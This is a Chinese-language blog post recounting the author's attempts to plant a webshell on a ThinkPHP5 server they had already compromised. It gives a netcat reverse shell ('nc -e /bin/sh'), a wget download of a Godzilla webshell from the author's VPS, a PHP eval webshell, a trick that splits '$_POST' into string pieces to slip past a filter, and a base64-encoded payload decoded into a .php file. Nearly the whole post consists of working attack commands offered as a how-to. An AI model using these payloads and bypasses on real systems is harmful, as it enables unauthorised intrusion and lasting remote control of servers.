记一次反弹shell的荆棘之路

 · 2020-11-18 · 次阅读


TP5直接getshell了,但是只能用nc弹没有界面和命令行的感觉总感觉空空的,所以打算给他传个webshell.

下面是踩坑之路:

我先用:

nc -e /bin/sh ip port

弹回来了shell。然后去到了Uploads目录下:

然后在自己vps上存入了shell1.php->哥斯拉马

然后在靶机上的Uploads目录下执行:

wget IP\shell1.php

成功下载了shell1.php.

结果让我懵逼的就是打开文件却是空的。。

不知道问题出现在用户权限不足还是传输过程的问题。

最后在大哥的帮助下使用以下shell命令方式写入内容:

echo <?php @eval($_POST['Cupid']);?> > shell1.php

结果呢。总算写进去了仔细发现$_POST被删除了。

image-20201118151901139

最后依然是在大哥的帮助下使用了:

${"_PO"."ST"}绕过了系统的过滤

最后:

echo "<?php @eval(${"_PO"."ST"}['Cupid']);?>" > shell2.php

但是这里还是存在语法错误,是字符串的引号导致的问题。

最后再次请教大哥:

echo base64编码的内容 | base64 -d > 123.php

echo JTNDJTNGcGhwJTIwQGV2YWwlMjglMjQlN0IlMjJfUE8lMjIuJTIyU1QlMjIlN0QlNUIlMjdDdXBpZCUyNyU1RCUyOSUzQiUzRiUzRQ==|base64 -d > 123.php

这里还是不对,原因是我使用的网上的在线base64导致解密出问题。

我换成linux默认的加密:

先把内容写入123.php

然后

base64 123.php

image-20201118155534459

然后再写一次:

echo PD9waHAgQGV2YWwoJHsiX1BPIi4iU1QifVsnQ3VwaWQnXSk7Pz4K|base64 -d > 123.php

image-20201118160118816

最后成功上马,真不容易!

已经被人控制:

image-20201118161829942